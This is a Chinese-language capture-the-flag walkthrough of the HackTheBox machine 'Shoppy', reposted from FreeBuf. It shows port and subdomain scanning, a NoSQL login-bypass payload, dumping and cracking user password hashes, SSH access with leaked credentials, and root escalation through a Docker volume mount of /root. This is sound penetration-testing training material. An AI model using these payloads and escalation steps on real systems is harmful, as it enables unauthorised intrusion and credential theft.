hackthebox靶机Shoppy
2023-2-17 23:7:6 Author: www.freebuf.com(查看原文) 阅读量:7 收藏

一、nmap扫描

nmap -sS -Pn -sC -sV 10.10.11.180


Starting Nmap 7.92 ( https://nmap.org ) at 2023-02-05 22:01 EST
Nmap scan report for 10.10.11.180
Host is up (0.30s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 9e:5e:83:51:d9:9f:89:ea:47:1a:12:eb:81:f9:22:c0 (RSA)
|   256 58:57:ee:eb:06:50:03:7c:84:63:d7:a3:41:5b:1a:d5 (ECDSA)
|_  256 3e:9d:0a:42:90:44:38:60:b3:b6:2c:e9:bd:9a:67:54 (ED25519)
80/tcp open  http    nginx 1.23.1
|_http-title: Did not follow redirect to http://shoppy.htb
|_http-server-header: nginx/1.23.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.87 seconds

靶机共开放了22和80两个端口,可以看看80端口

二、web页面

1.绑定hosts

gedit /etc/hosts

10.10.11.180  shoppy.htb

image
页面功能非常单一,可以试着扫扫目录 看看能不能有新东西

2.目录扫描

feroxbuster -u http://shoppy.htb/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 20 -C 302,301,404


200      GET       26l       62w     1074c http://shoppy.htb/Login
200      GET       89l      565w   213054c http://shoppy.htb/favicon.ico
200      GET       26l       62w     1074c http://shoppy.htb/login

image
找到了一个登录页面
image

3.子域名扫描

gobuster vhost -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -t 50 -u shoppy.htb

image
得到子域名

mattermost.shoppy.htb

绑定好host后访问,还是一个登录页面
image

三、nosql注入

在第一个获得登录页面尝试了弱口令,sql注入,万能密码后均不可行,于是尝试用下nosql注入,已知一个基础的nosql查询语句就像这样

this.username === '${value}' && this.password === '${value}'

所以在后端没用任何过滤的情况下,我们可以构造万能密码payload为

admin' || '' === '
this.username === 'admin' || '' === '' && this.password === 'value'

这样就可以成功进入后台了

image

在搜索框输入admin,即可查询到对应用户名密码的hash值

image

_id	"62db0e93d6d6a999a66ee67a"
username	"admin"
password	"23c6877d9e2b564ef8b32c3a23de27b2"

接着在搜索框接着使用万能密码,就可以得到两组用户名和密码

image

0	
_id	"62db0e93d6d6a999a66ee67a"
username	"admin"
password	"23c6877d9e2b564ef8b32c3a23de27b2"
1	
_id	"62db0e93d6d6a999a66ee67b"
username	"josh"
password	"6ebcea65320589ca4f2f1ce039975995"

其中json的密码可以通过md5查询得到明文密码
image

remembermethisway

四、另一个web

使用得到的账号密码 josh/remembermethisway登录之前找到的另一个网站,是一个聊天服务器

image
在聊天框得到了一组账号密码,上面说是josh用docker部署了一个服务器,并且会把提到的账号添加进去
imageusername: jaeger password: [email protected]!

五、登录ssh

ssh [email protected] 
[email protected]!

得到user.txt

六、docker提权

1.原理

默认情况下,要使用docker一定要有sudo权限,为了让主机下的多用户都能使用docker,因为在安装docker后会默认创建一个docker组,所以只需要管理员将需要使用docker的用户添加到docker用户组,之后在组中的用户就可以不用sudo来使用docker了,而且在docker容器内部默认是root权限。

2.查看当前用户权限

sudo  -l

在检查用户jaeger的sudo权限后,我们发现deploy用户可以在用户部署时运行/home/deploy/password-manager。
image

3.尝试运行下这个密码管理器

发现这里还需要密码,但我们现在不知道,所以打开这个密码管理器看看,在里面找到了一个像是密码的字符串,尝试登陆下
image
Sample
成功得到用户名和密码
image

username: deploy
password: [email protected]!

4.登录deploy账户,docker提权

image
不难发现这个用户在docker组里面
这种提权技术通过使用Linux镜像来工作,最好是Alpine Linux,因为它是一个轻量级的Linux发行版,只有5mb左右,下载下来比较快。然后,我们可以将这个Linux镜像导入到docker中,之后,我们就可以将具有root权限的主机文件(比如root文件夹,同理你也可以挂载其他文件,比如/etc)挂载到这个容器的本地文件系统中。
我们可以看到靶机中Alpine Linux已经存在了

docker images

image

docker run -it -v /root:/mnt alpine

现在让我们启动这个Alpine Linux镜像,并将主机文件系统的/root目录挂载到容器文件系统的/mnt目录上。

–v参数指定我们要在Docker实例中创建一个卷(在我们创建容器的时候,docker这个-v选项,支持用户将容器外的目录映射进容器内,方便的进行容器内外的文件共享)。

–it参数将Docker置于shell模式,而不是启动守护进程。该命令将目标机器的root文件系统挂载到容器的/mnt目录,因此当容器启动时,这样我们就能获得root权限。

5.获取root.txt

root文件在/mnt/root.txt
image.png


文章来源: https://www.freebuf.com/articles/web/356925.html
如有侵权请联系:admin#unsafe.sh